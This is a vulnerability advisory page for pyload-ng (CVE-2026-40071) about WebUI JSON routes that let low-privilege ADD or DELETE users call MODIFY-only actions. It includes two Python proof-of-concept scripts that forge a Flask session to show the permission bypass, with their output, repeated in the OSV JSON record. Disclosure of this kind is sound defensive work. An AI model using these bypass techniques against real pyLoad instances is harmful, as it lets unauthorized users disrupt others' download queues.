GCVE Workshop - 22 September 2026 (14:00-18:00), Luxembourg Before The Vulnopticon Conference - Registration

PYSEC-2026-2997

Vulnerability from pysec - Published: 2026-07-13 14:36 - Updated: 2026-07-13 16:05
VLAI
Details

Summary

Several WebUI JSON endpoints enforce weaker permissions than the core API methods they invoke. This allows authenticated low-privileged users to execute MODIFY operations that should be denied by pyLoad's own permission model.

Confirmed mismatches: - ADD user can reorder packages/files (order_package, order_file) via /json/package_order and /json/link_order - DELETE user can abort downloads (stop_downloads) via /json/abort_link

Details

pyLoad defines granular permissions in core API: - order_package requires Perms.MODIFY (src/pyload/core/api/__init__.py:1125) - order_file requires Perms.MODIFY (src/pyload/core/api/__init__.py:1137) - stop_downloads requires Perms.MODIFY (src/pyload/core/api/__init__.py:1046)

But WebUI JSON routes use weaker checks: - /json/package_order uses @login_required("ADD") then calls api.order_package(...) (src/pyload/webui/app/blueprints/json_blueprint.py:109-117) - /json/link_order uses @login_required("ADD") then calls api.order_file(...) (src/pyload/webui/app/blueprints/json_blueprint.py:137-145) - /json/abort_link uses @login_required("DELETE") then calls api.stop_downloads(...) (src/pyload/webui/app/blueprints/json_blueprint.py:123-131)

Why this is likely unintended (not just convenience): - The same JSON blueprint correctly protects other edit actions with MODIFY: - /json/move_package -> @login_required("MODIFY") (json_blueprint.py:188-196) - /json/edit_package -> @login_required("MODIFY") (json_blueprint.py:202-217) - The project UI exposes granular per-user permission assignment (settings.html:184-190), implying these boundaries are intended security controls.

PoC

Environment: - Repository version: 0.5.0b3 (VERSION file) - Commit tested: ddc53b3d7

PoC A (ADD-only user invokes MODIFY-only reorder):

import os
import sys
from types import SimpleNamespace

sys.path.insert(0, os.path.abspath('src'))

from flask import Flask
from pyload.core.api import Api, Perms, Role
from pyload.webui.app.blueprints import json_blueprint

class FakeApi:
    def __init__(self):
        self.calls = []

    def user_exists(self, username):
        return username == 'attacker'

    def order_package(self, pack_id, pos):
        self.calls.append(('order_package', int(pack_id), int(pos)))

    def order_file(self, file_id, pos):
        self.calls.append(('order_file', int(file_id), int(pos)))

api = Api(SimpleNamespace(_=lambda x: x))
ctx = {'role': Role.USER, 'permission': Perms.ADD}
print('API auth (ADD-only) order_package:', api.is_authorized('order_package', ctx))
print('API auth (ADD-only) order_file:', api.is_authorized('order_file', ctx))

app = Flask(__name__)
app.secret_key = 'k'
app.config['TESTING'] = True
app.config['WTF_CSRF_ENABLED'] = False
f = FakeApi()
app.config['PYLOAD_API'] = f
app.register_blueprint(json_blueprint.bp)

with app.test_client() as c:
    with c.session_transaction() as s:
        s['authenticated'] = True
        s['name'] = 'attacker'
        s['role'] = int(Role.USER)
        s['perms'] = int(Perms.ADD)

    r1 = c.post('/json/package_order', json={'pack_id': 5, 'pos': 0})
    r2 = c.post('/json/link_order', json={'file_id': 77, 'pos': 1})

print('HTTP /json/package_order:', r1.status_code, r1.get_data(as_text=True).strip())
print('HTTP /json/link_order:', r2.status_code, r2.get_data(as_text=True).strip())
print('calls:', f.calls)

Observed output:

API auth (ADD-only) order_package: False
API auth (ADD-only) order_file: False
HTTP /json/package_order: 200 {"response":"success"}
HTTP /json/link_order: 200 {"response":"success"}
calls: [('order_package', 5, 0), ('order_file', 77, 1)]

PoC B (DELETE-only user invokes MODIFY-only stop_downloads):

import os
import sys
from types import SimpleNamespace

sys.path.insert(0, os.path.abspath('src'))

from flask import Flask
from pyload.core.api import Api, Perms, Role
from pyload.webui.app.blueprints import json_blueprint

class FakeApi:
    def __init__(self):
        self.calls = []

    def user_exists(self, username):
        return username == 'u'

    def stop_downloads(self, ids):
        self.calls.append(('stop_downloads', ids))

api = Api(SimpleNamespace(_=lambda x: x))
ctx = {'role': Role.USER, 'permission': Perms.DELETE}
print('API auth (DELETE-only) stop_downloads:', api.is_authorized('stop_downloads', ctx))

app = Flask(__name__)
app.secret_key = 'k'
app.config['TESTING'] = True
app.config['WTF_CSRF_ENABLED'] = False
f = FakeApi()
app.config['PYLOAD_API'] = f
app.register_blueprint(json_blueprint.bp)

with app.test_client() as c:
    with c.session_transaction() as s:
        s['authenticated'] = True
        s['name'] = 'u'
        s['role'] = int(Role.USER)
        s['perms'] = int(Perms.DELETE)

    r = c.post('/json/abort_link', json={'link_id': 999})

print('HTTP /json/abort_link:', r.status_code, r.get_data(as_text=True).strip())
print('calls:', f.calls)

Observed output:

API auth (DELETE-only) stop_downloads: False
HTTP /json/abort_link: 200 {"response":"success"}
calls: [('stop_downloads', [999])]

Impact

Type: - Improper authorization / permission-bypass between WebUI and core API permission model.

Scope: - Horizontal privilege escalation among authenticated non-admin users. - Not admin takeover, but unauthorized execution of operations explicitly categorized as MODIFY.

Security impact: - Integrity impact: unauthorized queue/file reordering by users lacking MODIFY. - Availability impact: unauthorized abort of active downloads by users lacking MODIFY.

Impacted products
Name purl
pyload-ng pkg:pypi/pyload-ng

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "pyload-ng",
        "purl": "pkg:pypi/pyload-ng"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "0.5.0b3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "0.5.0a5.dev528",
        "0.5.0a5.dev532",
        "0.5.0a5.dev535",
        "0.5.0a5.dev536",
        "0.5.0a5.dev537",
        "0.5.0a5.dev539",
        "0.5.0a5.dev540",
        "0.5.0a5.dev545",
        "0.5.0a5.dev562",
        "0.5.0a5.dev564",
        "0.5.0a5.dev565",
        "0.5.0a6.dev570",
        "0.5.0a6.dev578",
        "0.5.0a6.dev587",
        "0.5.0a7.dev596",
        "0.5.0a8.dev602",
        "0.5.0a9.dev615",
        "0.5.0a9.dev629",
        "0.5.0a9.dev632",
        "0.5.0a9.dev641",
        "0.5.0a9.dev643",
        "0.5.0a9.dev655",
        "0.5.0a9.dev806",
        "0.5.0b1.dev1",
        "0.5.0b1.dev2",
        "0.5.0b1.dev3",
        "0.5.0b1.dev4",
        "0.5.0b1.dev5",
        "0.5.0b2.dev10",
        "0.5.0b2.dev11",
        "0.5.0b2.dev12",
        "0.5.0b2.dev9",
        "0.5.0b3.dev100",
        "0.5.0b3.dev101",
        "0.5.0b3.dev13",
        "0.5.0b3.dev14",
        "0.5.0b3.dev17",
        "0.5.0b3.dev18",
        "0.5.0b3.dev19",
        "0.5.0b3.dev20",
        "0.5.0b3.dev21",
        "0.5.0b3.dev22",
        "0.5.0b3.dev24",
        "0.5.0b3.dev26",
        "0.5.0b3.dev27",
        "0.5.0b3.dev28",
        "0.5.0b3.dev29",
        "0.5.0b3.dev30",
        "0.5.0b3.dev31",
        "0.5.0b3.dev32",
        "0.5.0b3.dev33",
        "0.5.0b3.dev34",
        "0.5.0b3.dev35",
        "0.5.0b3.dev38",
        "0.5.0b3.dev39",
        "0.5.0b3.dev40",
        "0.5.0b3.dev41",
        "0.5.0b3.dev42",
        "0.5.0b3.dev43",
        "0.5.0b3.dev44",
        "0.5.0b3.dev45",
        "0.5.0b3.dev46",
        "0.5.0b3.dev47",
        "0.5.0b3.dev48",
        "0.5.0b3.dev49",
        "0.5.0b3.dev50",
        "0.5.0b3.dev51",
        "0.5.0b3.dev52",
        "0.5.0b3.dev53",
        "0.5.0b3.dev54",
        "0.5.0b3.dev57",
        "0.5.0b3.dev60",
        "0.5.0b3.dev62",
        "0.5.0b3.dev64",
        "0.5.0b3.dev65",
        "0.5.0b3.dev66",
        "0.5.0b3.dev67",
        "0.5.0b3.dev68",
        "0.5.0b3.dev69",
        "0.5.0b3.dev70",
        "0.5.0b3.dev71",
        "0.5.0b3.dev72",
        "0.5.0b3.dev73",
        "0.5.0b3.dev74",
        "0.5.0b3.dev75",
        "0.5.0b3.dev76",
        "0.5.0b3.dev77",
        "0.5.0b3.dev78",
        "0.5.0b3.dev79",
        "0.5.0b3.dev80",
        "0.5.0b3.dev81",
        "0.5.0b3.dev82",
        "0.5.0b3.dev85",
        "0.5.0b3.dev87",
        "0.5.0b3.dev88",
        "0.5.0b3.dev89",
        "0.5.0b3.dev90",
        "0.5.0b3.dev91",
        "0.5.0b3.dev92",
        "0.5.0b3.dev93",
        "0.5.0b3.dev94",
        "0.5.0b3.dev95",
        "0.5.0b3.dev96",
        "0.5.0b3.dev97",
        "0.5.0b3.dev98",
        "0.5.0b3.dev99"
      ]
    }
  ],
  "aliases": [
    "CVE-2026-40071",
    "GHSA-rfgh-63mg-8pwm"
  ],
  "details": "### Summary\nSeveral WebUI JSON endpoints enforce weaker permissions than the core API methods they invoke. This allows authenticated low-privileged users to execute `MODIFY` operations that should be denied by pyLoad\u0027s own permission model.\n\nConfirmed mismatches:\n- `ADD` user can reorder packages/files (`order_package`, `order_file`) via `/json/package_order` and `/json/link_order`\n- `DELETE` user can abort downloads (`stop_downloads`) via `/json/abort_link`\n\n### Details\npyLoad defines granular permissions in core API:\n- `order_package` requires `Perms.MODIFY` (`src/pyload/core/api/__init__.py:1125`)\n- `order_file` requires `Perms.MODIFY` (`src/pyload/core/api/__init__.py:1137`)\n- `stop_downloads` requires `Perms.MODIFY` (`src/pyload/core/api/__init__.py:1046`)\n\nBut WebUI JSON routes use weaker checks:\n- `/json/package_order` uses `@login_required(\"ADD\")` then calls `api.order_package(...)` (`src/pyload/webui/app/blueprints/json_blueprint.py:109-117`)\n- `/json/link_order` uses `@login_required(\"ADD\")` then calls `api.order_file(...)` (`src/pyload/webui/app/blueprints/json_blueprint.py:137-145`)\n- `/json/abort_link` uses `@login_required(\"DELETE\")` then calls `api.stop_downloads(...)` (`src/pyload/webui/app/blueprints/json_blueprint.py:123-131`)\n\nWhy this is likely unintended (not just convenience):\n- The same JSON blueprint correctly protects other edit actions with `MODIFY`:\n  - `/json/move_package` -\u003e `@login_required(\"MODIFY\")` (`json_blueprint.py:188-196`)\n  - `/json/edit_package` -\u003e `@login_required(\"MODIFY\")` (`json_blueprint.py:202-217`)\n- The project UI exposes granular per-user permission assignment (`settings.html:184-190`), implying these boundaries are intended security controls.\n\n### PoC\nEnvironment:\n- Repository version: `0.5.0b3` (`VERSION` file)\n- Commit tested: `ddc53b3d7`\n\nPoC A (ADD-only user invokes MODIFY-only reorder):\n```python\nimport os\nimport sys\nfrom types import SimpleNamespace\n\nsys.path.insert(0, os.path.abspath(\u0027src\u0027))\n\nfrom flask import Flask\nfrom pyload.core.api import Api, Perms, Role\nfrom pyload.webui.app.blueprints import json_blueprint\n\nclass FakeApi:\n    def __init__(self):\n        self.calls = []\n\n    def user_exists(self, username):\n        return username == \u0027attacker\u0027\n\n    def order_package(self, pack_id, pos):\n        self.calls.append((\u0027order_package\u0027, int(pack_id), int(pos)))\n\n    def order_file(self, file_id, pos):\n        self.calls.append((\u0027order_file\u0027, int(file_id), int(pos)))\n\napi = Api(SimpleNamespace(_=lambda x: x))\nctx = {\u0027role\u0027: Role.USER, \u0027permission\u0027: Perms.ADD}\nprint(\u0027API auth (ADD-only) order_package:\u0027, api.is_authorized(\u0027order_package\u0027, ctx))\nprint(\u0027API auth (ADD-only) order_file:\u0027, api.is_authorized(\u0027order_file\u0027, ctx))\n\napp = Flask(__name__)\napp.secret_key = \u0027k\u0027\napp.config[\u0027TESTING\u0027] = True\napp.config[\u0027WTF_CSRF_ENABLED\u0027] = False\nf = FakeApi()\napp.config[\u0027PYLOAD_API\u0027] = f\napp.register_blueprint(json_blueprint.bp)\n\nwith app.test_client() as c:\n    with c.session_transaction() as s:\n        s[\u0027authenticated\u0027] = True\n        s[\u0027name\u0027] = \u0027attacker\u0027\n        s[\u0027role\u0027] = int(Role.USER)\n        s[\u0027perms\u0027] = int(Perms.ADD)\n\n    r1 = c.post(\u0027/json/package_order\u0027, json={\u0027pack_id\u0027: 5, \u0027pos\u0027: 0})\n    r2 = c.post(\u0027/json/link_order\u0027, json={\u0027file_id\u0027: 77, \u0027pos\u0027: 1})\n\nprint(\u0027HTTP /json/package_order:\u0027, r1.status_code, r1.get_data(as_text=True).strip())\nprint(\u0027HTTP /json/link_order:\u0027, r2.status_code, r2.get_data(as_text=True).strip())\nprint(\u0027calls:\u0027, f.calls)\n```\n\nObserved output:\n```text\nAPI auth (ADD-only) order_package: False\nAPI auth (ADD-only) order_file: False\nHTTP /json/package_order: 200 {\"response\":\"success\"}\nHTTP /json/link_order: 200 {\"response\":\"success\"}\ncalls: [(\u0027order_package\u0027, 5, 0), (\u0027order_file\u0027, 77, 1)]\n```\n\nPoC B (DELETE-only user invokes MODIFY-only stop_downloads):\n```python\nimport os\nimport sys\nfrom types import SimpleNamespace\n\nsys.path.insert(0, os.path.abspath(\u0027src\u0027))\n\nfrom flask import Flask\nfrom pyload.core.api import Api, Perms, Role\nfrom pyload.webui.app.blueprints import json_blueprint\n\nclass FakeApi:\n    def __init__(self):\n        self.calls = []\n\n    def user_exists(self, username):\n        return username == \u0027u\u0027\n\n    def stop_downloads(self, ids):\n        self.calls.append((\u0027stop_downloads\u0027, ids))\n\napi = Api(SimpleNamespace(_=lambda x: x))\nctx = {\u0027role\u0027: Role.USER, \u0027permission\u0027: Perms.DELETE}\nprint(\u0027API auth (DELETE-only) stop_downloads:\u0027, api.is_authorized(\u0027stop_downloads\u0027, ctx))\n\napp = Flask(__name__)\napp.secret_key = \u0027k\u0027\napp.config[\u0027TESTING\u0027] = True\napp.config[\u0027WTF_CSRF_ENABLED\u0027] = False\nf = FakeApi()\napp.config[\u0027PYLOAD_API\u0027] = f\napp.register_blueprint(json_blueprint.bp)\n\nwith app.test_client() as c:\n    with c.session_transaction() as s:\n        s[\u0027authenticated\u0027] = True\n        s[\u0027name\u0027] = \u0027u\u0027\n        s[\u0027role\u0027] = int(Role.USER)\n        s[\u0027perms\u0027] = int(Perms.DELETE)\n\n    r = c.post(\u0027/json/abort_link\u0027, json={\u0027link_id\u0027: 999})\n\nprint(\u0027HTTP /json/abort_link:\u0027, r.status_code, r.get_data(as_text=True).strip())\nprint(\u0027calls:\u0027, f.calls)\n```\n\nObserved output:\n```text\nAPI auth (DELETE-only) stop_downloads: False\nHTTP /json/abort_link: 200 {\"response\":\"success\"}\ncalls: [(\u0027stop_downloads\u0027, [999])]\n```\n\n### Impact\nType:\n- Improper authorization / permission-bypass between WebUI and core API permission model.\n\nScope:\n- Horizontal privilege escalation among authenticated non-admin users.\n- Not admin takeover, but unauthorized execution of operations explicitly categorized as `MODIFY`.\n\nSecurity impact:\n- Integrity impact: unauthorized queue/file reordering by users lacking `MODIFY`.\n- Availability impact: unauthorized abort of active downloads by users lacking `MODIFY`.",
  "id": "PYSEC-2026-2997",
  "modified": "2026-07-13T16:05:53.172845Z",
  "published": "2026-07-13T14:36:49.321859Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/pyload/pyload/security/advisories/GHSA-rfgh-63mg-8pwm"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-40071"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/pyload/pyload"
    },
    {
      "type": "PACKAGE",
      "url": "https://pypi.org/project/pyload-ng"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-rfgh-63mg-8pwm"
    }
  ],
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "pyload-ng has a WebUI JSON permission mismatch that lets ADD/DELETE users invoke MODIFY-only actions"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.


Loading…